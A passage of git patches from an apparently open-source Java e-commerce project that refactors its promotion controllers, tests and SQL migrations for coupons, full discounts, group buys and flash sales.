a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java index 174f0a5b..7b64897f 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/FullDiscountTest.java @@ -1,17 +1,15 @@ package cn.lili.test.promotion; import cn.hutool.core.util.RandomUtil; -import cn.hutool.json.JSONUtil; +import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.common.vo.PageVO; import cn.lili.modules.goods.entity.dos.GoodsSku; import cn.lili.modules.goods.service.GoodsSkuService; +import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.common.enums.PromotionTypeEnum; import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; -import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import com.baomidou.mybatisplus.core.metadata.IPage; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; @@ -21,6 +19,7 @@ import org.springframework.boot.test.context.SpringBootTest; import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.ArrayList; +import java.util.Collections; import java.util.List; /** @@ -46,7 +45,6 @@ class FullDiscountTest { fullDiscountVO.setIsFullMinus(true); fullDiscountVO.setFullMoney(130D); fullDiscountVO.setFullMinus(100D); - fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); fullDiscountVO.setIsFreeFreight(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); @@ -64,13 +62,12 @@ class FullDiscountTest { promotionGoods.setNum(10); promotionGoods.setQuantity(100); promotionGoods.setPromotionId(fullDiscountVO.getId()); - promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name()); promotionGoods.setPromotionType(PromotionTypeEnum.FULL_DISCOUNT.name()); promotionGoods.setTitle("满" + fullDiscountVO.getFullMoney() + "减" + fullDiscountVO.getFullMinus()); promotionGoodsLis.add(promotionGoods); fullDiscountVO.setPromotionGoodsList(promotionGoodsLis); - Assertions.assertNotNull(fullDiscountService.addFullDiscount(fullDiscountVO)); + Assertions.assertTrue(fullDiscountService.savePromotions(fullDiscountVO)); } @Test @@ -82,12 +79,9 @@ class FullDiscountTest { pageVo.setSort("startTime"); pageVo.setOrder("asc"); - IPage fullDiscountByPageFromMongo = fullDiscountService.getFullDiscountByPageFromMongo(new FullDiscountSearchParams(), null); + IPage fullDiscountByPageFromMongo = fullDiscountService.pageFindAll(new FullDiscountSearchParams(), null); Assertions.assertNotNull(fullDiscountByPageFromMongo); - FullDiscount fullDiscount = JSONUtil.toBean(JSONUtil.parseObj(fullDiscountByPageFromMongo.getPages()), FullDiscount.class); - System.out.println(fullDiscount); -// fullDiscountByPageFromMongo.forEach(System.out::println); } @Test @@ -100,7 +94,6 @@ class FullDiscountTest { fullDiscountVO.setIsFullMinus(true); fullDiscountVO.setFullMoney(100D); fullDiscountVO.setFullMinus(80D); - fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); fullDiscountVO.setIsFreeFreight(true); fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId()); @@ -111,7 +104,6 @@ class FullDiscountTest { List promotionGoodsLis = new ArrayList<>(); PromotionGoods promotionGoods = new PromotionGoods(); promotionGoods.setSkuId("134"); - promotionGoods.setPromotionStatus(PromotionStatusEnum.NEW.name()); promotionGoods.setPrice(18000D); promotionGoods.setStartTime(fullDiscountVO.getStartTime()); promotionGoods.setEndTime(fullDiscountVO.getEndTime()); @@ -124,12 +116,12 @@ class FullDiscountTest { promotionGoods.setStoreId("132"); promotionGoodsLis.add(promotionGoods); fullDiscountVO.setPromotionGoodsList(promotionGoodsLis); - Assertions.assertNotNull(fullDiscountService.modifyFullDiscount(fullDiscountVO)); + Assertions.assertTrue(fullDiscountService.updatePromotions(fullDiscountVO)); } @Test void delete() { - Assertions.assertTrue(fullDiscountService.deleteFullDiscount("1325995092947525632")); + Assertions.assertTrue(fullDiscountService.removePromotions(Collections.singletonList("1325995092947525632"))); } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java b/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java index 0eda72ad..513a1f4a 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/PromotionPriceTest.java @@ -1,15 +1,8 @@ package cn.lili.test.promotion; -import cn.hutool.json.JSONUtil; -import cn.lili.common.enums.PromotionTypeEnum; -import cn.lili.common.enums.ResultUtil; -import cn.lili.common.vo.PageVO; -import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.BasePromotion; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; +import cn.lili.modules.promotion.entity.dto.BasePromotions; import cn.lili.modules.promotion.service.PromotionGoodsService; import cn.lili.modules.promotion.service.PromotionService; -import com.baomidou.mybatisplus.core.metadata.IPage; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; @@ -37,20 +30,10 @@ class PromotionPriceTest { void testSeckillPrice() { Map currentPromotion = promotionService.getCurrentPromotion(); for (Map.Entry entry : currentPromotion.entrySet()) { - BasePromotion promotion = (BasePromotion) entry.getValue(); + BasePromotions promotion = (BasePromotions) entry.getValue(); System.out.println(entry.getKey() + "-" + promotion.getId()); } Assertions.assertTrue(true); } - @Test - void testSeckillPrice1() { - IPage promotionGoods = promotionGoodsServiceService.getCurrentPromotionGoods(PromotionTypeEnum.FULL_DISCOUNT.name(), new PageVO()); - - ResultMessage> data = ResultUtil.data(promotionGoods); - String s = JSONUtil.toJsonStr(data); - System.out.println(s); - Assertions.assertTrue(true); - } - } diff --git a/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java b/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java index f6ab823c..27788a5b 100644 --- a/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java +++ b/manager-api/src/test/java/cn/lili/test/promotion/SeckillTest.java @@ -1,7 +1,7 @@ package cn.lili.test.promotion; import cn.lili.modules.member.service.MemberService; -import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; @@ -60,7 +60,7 @@ class SeckillTest { seckillApplyVO.setSkuId("1387977574860193792"); seckillApplyVO.setOriginalPrice(4000D); seckillApplyVO.setPrice(3600D); - seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name()); + seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name()); seckillApplyVO.setQuantity(1); seckillApplyVO.setSalesNum(0); seckillApplyVO.setSeckillId("10000"); @@ -73,7 +73,7 @@ class SeckillTest { seckillApplyVO.setSkuId("1387977574864388096"); seckillApplyVO.setOriginalPrice(4000D); seckillApplyVO.setPrice(3600D); - seckillApplyVO.setPromotionApplyStatus(PromotionApplyStatusEnum.APPLY.name()); + seckillApplyVO.setPromotionApplyStatus(PromotionsApplyStatusEnum.APPLY.name()); seckillApplyVO.setQuantity(1); seckillApplyVO.setSalesNum(0); seckillApplyVO.setSeckillId("10000"); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java index 9e03b6e5..adc95395 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/CouponStoreController.java @@ -8,7 +8,6 @@ import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import cn.lili.modules.promotion.service.CouponService; @@ -45,14 +44,14 @@ public class CouponStoreController { page.setNotConvert(true); String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); queryParam.setStoreId(storeId); - IPage coupons = couponService.getCouponsByPageFromMongo(queryParam, page); + IPage coupons = couponService.pageVOFindAll(queryParam, page); return ResultUtil.data(coupons); } @ApiOperation(value = "获取优惠券详情") @GetMapping("/{couponId}") public ResultMessage getCouponList(@PathVariable String couponId) { - CouponVO coupon = OperationalJudgment.judgment(couponService.getCouponDetailFromMongo(couponId)); + CouponVO coupon = OperationalJudgment.judgment(couponService.getDetail(couponId)); return ResultUtil.data(coupon); } @@ -62,20 +61,23 @@ public class CouponStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); couponVO.setStoreId(currentUser.getStoreId()); couponVO.setStoreName(currentUser.getStoreName()); - couponService.add(couponVO); - return ResultUtil.data(couponVO); + if (couponService.savePromotions(couponVO)) { + return ResultUtil.data(couponVO); + } + return ResultUtil.error(ResultCode.COUPON_SAVE_ERROR); } @PutMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "修改优惠券") public ResultMessage updateCoupon(@RequestBody CouponVO couponVO) { - OperationalJudgment.judgment(couponService.getCouponDetailFromMongo(couponVO.getId())); + OperationalJudgment.judgment(couponService.getById(couponVO.getId())); AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); couponVO.setStoreId(currentUser.getStoreId()); couponVO.setStoreName(currentUser.getStoreName()); - couponVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - CouponVO coupon = couponService.updateCoupon(couponVO); - return ResultUtil.data(coupon); + if (couponService.updatePromotions(couponVO)) { + return ResultUtil.data(couponVO); + } + return ResultUtil.error(ResultCode.COUPON_SAVE_ERROR); } @DeleteMapping(value = "/{ids}") @@ -87,19 +89,16 @@ public class CouponStoreController { queryWrapper.eq(Coupon::getStoreId, storeId); List list = couponService.list(queryWrapper); List filterIds = list.stream().map(Coupon::getId).collect(Collectors.toList()); - for (String id : filterIds) { - couponService.deleteCoupon(id); - } - return ResultUtil.success(); + return couponService.removePromotions(filterIds) ? ResultUtil.success() : ResultUtil.error(ResultCode.COUPON_DELETE_ERROR); } @ApiOperation(value = "修改优惠券状态") @PutMapping("/status") - public ResultMessage updateCouponStatus(String couponIds, String promotionStatus) { + public ResultMessage updateCouponStatus(String couponIds, Long startTime, Long endTime) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); String[] split = couponIds.split(","); List couponIdList = couponService.list(new LambdaQueryWrapper().in(Coupon::getId, Arrays.asList(split)).eq(Coupon::getStoreId, currentUser.getStoreId())).stream().map(Coupon::getId).collect(Collectors.toList()); - if (couponService.updateCouponStatus(couponIdList, PromotionStatusEnum.valueOf(promotionStatus))) { + if (couponService.updateStatus(couponIdList, startTime, endTime)) { return ResultUtil.success(ResultCode.COUPON_EDIT_STATUS_SUCCESS); } throw new ServiceException(ResultCode.COUPON_EDIT_STATUS_ERROR); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java index 87a53b77..634024e7 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/FullDiscountStoreController.java @@ -8,7 +8,6 @@ import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; import cn.lili.modules.promotion.service.FullDiscountService; import cn.lili.modules.system.utils.OperationalJudgment; @@ -20,6 +19,7 @@ import io.swagger.annotations.ApiOperation; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.*; +import java.util.Collections; import java.util.Objects; /** @@ -42,9 +42,10 @@ public class FullDiscountStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); fullDiscountVO.setStoreId(currentUser.getStoreId()); fullDiscountVO.setStoreName(currentUser.getStoreName()); - fullDiscountVO.setPromotionStatus(PromotionStatusEnum.NEW.name()); - FullDiscount fullDiscount = fullDiscountService.addFullDiscount(fullDiscountVO); - return ResultUtil.data(fullDiscount); + if (!fullDiscountService.savePromotions(fullDiscountVO)) { + return ResultUtil.error(ResultCode.PINTUAN_ADD_ERROR); + } + return ResultUtil.data(fullDiscountVO); } @ApiOperation(value = "通过id获取") @@ -56,10 +57,10 @@ public class FullDiscountStoreController { @ApiOperation(value = "根据条件分页查询满优惠活动") @GetMapping - public ResultMessage> getFullDiscountByPage(FullDiscountSearchParams searchParams, PageVO page) { + public ResultMessage> getFullDiscountByPage(FullDiscountSearchParams searchParams, PageVO page) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); searchParams.setStoreId(storeId); - IPage fullDiscountByPage = fullDiscountService.getFullDiscountByPageFromMongo(searchParams, page); + IPage fullDiscountByPage = fullDiscountService.pageFindAll(searchParams, page); return ResultUtil.data(fullDiscountByPage); } @@ -70,15 +71,17 @@ public class FullDiscountStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); fullDiscountVO.setStoreId(currentUser.getStoreId()); fullDiscountVO.setStoreName(currentUser.getStoreName()); - fullDiscountService.modifyFullDiscount(fullDiscountVO); + if (!fullDiscountService.updatePromotions(fullDiscountVO)) { + return ResultUtil.error(ResultCode.PINTUAN_EDIT_ERROR); + } return ResultUtil.success(ResultCode.FULL_DISCOUNT_EDIT_SUCCESS); } @ApiOperation(value = "删除满优惠活动") @DeleteMapping("/{id}") public ResultMessage deleteFullDiscount(@PathVariable String id) { - OperationalJudgment.judgment(fullDiscountService.getFullDiscount(id)); - fullDiscountService.deleteFullDiscount(id); + OperationalJudgment.judgment(fullDiscountService.getById(id)); + fullDiscountService.removePromotions(Collections.singletonList(id)); return ResultUtil.success(ResultCode.FULL_DISCOUNT_EDIT_DELETE); } @@ -88,10 +91,10 @@ public class FullDiscountStoreController { @ApiImplicitParam(name = "id", value = "满额活动ID", required = true, paramType = "path"), @ApiImplicitParam(name = "promotionStatus", value = "满额活动状态", required = true, paramType = "path") }) - @PutMapping("/status/{id}/{promotionStatus}") - public ResultMessage updateCouponStatus(@PathVariable String id, @PathVariable String promotionStatus) { + @PutMapping("/status/{id}") + public ResultMessage updateCouponStatus(@PathVariable String id, Long startTime, Long endTime) { OperationalJudgment.judgment(fullDiscountService.getFullDiscount(id)); - if (fullDiscountService.updateFullDiscountStatus(id, PromotionStatusEnum.valueOf(promotionStatus))) { + if (fullDiscountService.updateStatus(Collections.singletonList(id), startTime, endTime)) { return ResultUtil.success(ResultCode.SUCCESS); } return ResultUtil.error(ResultCode.ERROR); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java index db489640..0f3fd20a 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/PintuanStoreController.java @@ -8,7 +8,8 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.vo.PageVO; import cn.lili.common.vo.ResultMessage; -import cn.lili.modules.promotion.entity.dto.PromotionGoodsDTO; +import cn.lili.modules.promotion.entity.dos.Pintuan; +import cn.lili.modules.promotion.entity.dos.PromotionGoods; import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanVO; import cn.lili.modules.promotion.entity.vos.PromotionGoodsSearchParams; @@ -22,7 +23,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.validation.annotation.Validated; import org.springframework.web.bind.annotation.*; -import java.util.Date; +import java.util.Collections; import java.util.Objects; /** @@ -44,30 +45,28 @@ public class PintuanStoreController { @GetMapping @ApiOperation(value = "根据条件分页查询拼团活动列表") - public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { + public ResultMessage> getPintuanByPage(PintuanSearchParams queryParam, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); queryParam.setStoreId(currentUser.getStoreId()); - IPage pintuanByPageFromMongo = pintuanService.getPintuanByPageFromMongo(queryParam, pageVo); - return ResultUtil.data(pintuanByPageFromMongo); + return ResultUtil.data(pintuanService.pageFindAll(queryParam, pageVo)); } @GetMapping(value = "/{id}") @ApiOperation(value = "通过id获取") public ResultMessage get(@PathVariable String id) { - PintuanVO pintuan = OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(id)); + PintuanVO pintuan = OperationalJudgment.judgment(pintuanService.getPintuanVO(id)); return ResultUtil.data(pintuan); } @GetMapping("/goods/{pintuanId}") @ApiOperation(value = "根据条件分页查询拼团活动商品列表") - public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { + public ResultMessage> getPintuanGoodsByPage(@PathVariable String pintuanId, PageVO pageVo) { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); PromotionGoodsSearchParams searchParams = new PromotionGoodsSearchParams(); searchParams.setStoreId(currentUser.getStoreId()); searchParams.setPromotionId(pintuanId); searchParams.setPromotionType(PromotionTypeEnum.PINTUAN.name()); - IPage promotionGoods = promotionGoodsService.getPromotionGoods(searchParams, pageVo); - return ResultUtil.data(promotionGoods); + return ResultUtil.data(promotionGoodsService.pageFindAll(searchParams, pageVo)); } @PostMapping(consumes = "application/json", produces = "application/json") @@ -76,7 +75,7 @@ public class PintuanStoreController { AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreName(currentUser.getStoreName()); - if (pintuanService.addPintuan(pintuan)) { + if (pintuanService.savePromotions(pintuan)) { return ResultUtil.success(ResultCode.PINTUAN_ADD_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_ADD_ERROR); @@ -85,42 +84,32 @@ public class PintuanStoreController { @PutMapping(consumes = "application/json", produces = "application/json") @ApiOperation(value = "修改拼团活动") public ResultMessage editPintuan(@RequestBody @Validated PintuanVO pintuan) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuan.getId())); + OperationalJudgment.judgment(pintuanService.getById(pintuan.getId())); AuthUser currentUser = Objects.requireNonNull(UserContext.getCurrentUser()); pintuan.setStoreId(currentUser.getStoreId()); pintuan.setStoreName(currentUser.getStoreName()); - if (pintuanService.modifyPintuan(pintuan)) { + if (pintuanService.updatePromotions(pintuan)) { return ResultUtil.success(ResultCode.PINTUAN_EDIT_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_EDIT_ERROR); } - @PutMapping("/open/{pintuanId}") - @ApiOperation(value = "手动开启拼团活动") + @PutMapping("/status/{pintuanId}") + @ApiOperation(value = "操作拼团活动状态") public ResultMessage openPintuan(@PathVariable String pintuanId, Long startTime, Long endTime) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuanId)); - if (pintuanService.openPintuan(pintuanId, new Date(startTime), new Date(endTime))) { + OperationalJudgment.judgment(pintuanService.getById(pintuanId)); + if (pintuanService.updateStatus(Collections.singletonList(pintuanId), startTime, endTime)) { return ResultUtil.success(ResultCode.PINTUAN_MANUAL_OPEN_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_MANUAL_OPEN_ERROR); } - @PutMapping("/close/{pintuanId}") - @ApiOperation(value = "手动关闭拼团活动") - public ResultMessage closePintuan(@PathVariable String pintuanId) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuanId)); - if (pintuanService.closePintuan(pintuanId)) { - return ResultUtil.success(ResultCode.PINTUAN_MANUAL_CLOSE_SUCCESS); - } - throw new ServiceException(ResultCode.PINTUAN_MANUAL_CLOSE_ERROR); - } - @DeleteMapping("/{pintuanId}") @ApiOperation(value = "手动删除拼团活动") public ResultMessage deletePintuan(@PathVariable String pintuanId) { - OperationalJudgment.judgment(pintuanService.getPintuanByIdFromMongo(pintuanId)); - if (pintuanService.deletePintuan(pintuanId)) { + OperationalJudgment.judgment(pintuanService.getById(pintuanId)); + if (pintuanService.removePromotions(Collections.singletonList(pintuanId))) { return ResultUtil.success(ResultCode.PINTUAN_DELETE_SUCCESS); } throw new ServiceException(ResultCode.PINTUAN_DELETE_ERROR); diff --git a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java index 9b29e982..935fa2f0 100644 --- a/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java +++ b/seller-api/src/main/java/cn/lili/controller/promotion/SeckillStoreController.java @@ -8,7 +8,6 @@ import cn.lili.modules.promotion.entity.dos.Seckill; import cn.lili.modules.promotion.entity.dos.SeckillApply; import cn.lili.modules.promotion.entity.vos.SeckillApplyVO; import cn.lili.modules.promotion.entity.vos.SeckillSearchParams; -import cn.lili.modules.promotion.entity.vos.SeckillVO; import cn.lili.modules.promotion.service.SeckillApplyService; import cn.lili.modules.promotion.service.SeckillService; import cn.lili.modules.system.utils.OperationalJudgment; @@ -38,8 +37,8 @@ public class SeckillStoreController { @GetMapping @ApiOperation(value = "获取秒杀活动列表") - public ResultMessage> getSeckillPage(SeckillSearchParams queryParam, PageVO pageVo) { - IPage seckillPage = seckillService.getSeckillByPageFromMongo(queryParam, pageVo); + public ResultMessage> getSeckillPage(SeckillSearchParams queryParam, PageVO pageVo) { + IPage seckillPage = seckillService.pageFindAll(queryParam, pageVo); return ResultUtil.data(seckillPage); } @@ -48,14 +47,14 @@ public class SeckillStoreController { public ResultMessage> getSeckillApplyPage(SeckillSearchParams queryParam, PageVO pageVo) { String storeId = Objects.requireNonNull(UserContext.getCurrentUser()).getStoreId(); queryParam.setStoreId(storeId); - IPage seckillPage = seckillApplyService.getSeckillApplyFromMongo(queryParam, pageVo); + IPage seckillPage = seckillApplyService.getSeckillApply(queryParam, pageVo); return ResultUtil.data(seckillPage); } @GetMapping("/{seckillId}") - @ApiOperation(value = "获取秒杀活动") + @ApiOperation(value = "获取秒杀活动信息") public ResultMessage getSeckill(@PathVariable String seckillId) { - return ResultUtil.data(seckillService.getSeckillByIdFromMongo(seckillId)); + return ResultUtil.data(seckillService.getById(seckillId)); } @GetMapping("/apply/{seckillApplyId}") From ff757d215169ab3ba8301bd47461fcd22c84be96 Mon Sep 17 00:00:00 2001 From: yangkang Date: Sat, 11 Dec 2021 16:07:41 +0800 Subject: [PATCH 063/145] =?UTF-8?q?=E9=81=BF=E5=85=8Dredis=E7=BC=93?= =?UTF-8?q?=E5=AD=98=E4=BA=8C=E6=AC=A1=E8=AF=BB=E5=8F=96=E3=80=82?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../statistics/serviceimpl/PlatformViewServiceImpl.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java index d0db1cb9..9b0e69c7 100644 --- a/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/statistics/serviceimpl/PlatformViewServiceImpl.java @@ -70,7 +70,7 @@ public class PlatformViewServiceImpl extends ServiceImpl) cache.get(CachePrefix.MEMBER_DISTRIBUTION.getPrefix()); + return (List) object; } List memberDistributionVOS = memberStatisticsService.distribution(); From 0da8f7f8f67c9f927d719197ec26fe7d492e19cc Mon Sep 17 00:00:00 2001 From: paulGao Date: Mon, 13 Dec 2021 09:13:45 +0800 Subject: [PATCH 064/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E7=A7=92=E6=9D=80?= =?UTF-8?q?=E7=BB=9F=E8=AE=A1=E6=A0=B9=E6=8D=AE=E7=8A=B6=E6=80=81=E6=9F=A5?= =?UTF-8?q?=E8=AF=A2bug?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- DB/li_promotions.sql | 16 ++++++++-------- .../SeckillStatisticsServiceImpl.java | 9 +++++---- 2 files changed, 13 insertions(+), 12 deletions(-) diff --git a/DB/li_promotions.sql b/DB/li_promotions.sql index 9499b56a..2e47e554 100644 --- a/DB/li_promotions.sql +++ b/DB/li_promotions.sql @@ -2,25 +2,25 @@ ALTER TABLE li_coupon DROP COLUMN promotion_status; ALTER TABLE li_coupon_activity DROP COLUMN promotion_status; -ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_coupon_activity ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '范围关联的ID'; +ALTER TABLE li_coupon_activity ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_full_discount DROP COLUMN promotion_status; ALTER TABLE li_full_discount ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_full_discount ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_kanjia_activity_goods DROP COLUMN promotion_status; ALTER TABLE li_kanjia_activity_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_kanjia_activity_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_kanjia_activity_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL; ALTER TABLE li_pintuan DROP COLUMN promotion_status; ALTER TABLE li_pintuan ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_pintuan ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_points_goods DROP COLUMN promotion_status; ALTER TABLE li_points_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_points_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_points_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; ALTER TABLE li_points_goods ADD `thumbnail` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '缩略图'; ALTER TABLE li_points_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; @@ -28,11 +28,11 @@ ALTER TABLE li_points_goods ADD `goods_name` varchar(255) CHARACTER SET utf8mb4 ALTER TABLE li_promotion_goods DROP COLUMN promotion_status; ALTER TABLE li_promotion_goods ADD `scope_id` mediumtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin COMMENT '范围关联的ID'; -ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '关联范围类型'; +ALTER TABLE li_promotion_goods ADD `scope_type` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT 'PORTION_GOODS' COMMENT '关联范围类型'; ALTER TABLE li_promotion_goods ADD `original_price` double(10,2) DEFAULT NULL COMMENT '原价'; ALTER TABLE li_promotion_goods ADD `points` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '兑换积分'; ALTER TABLE li_promotion_goods ADD `goods_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '商品编号'; ALTER TABLE li_seckill DROP COLUMN promotion_status; ALTER TABLE li_seckill ADD 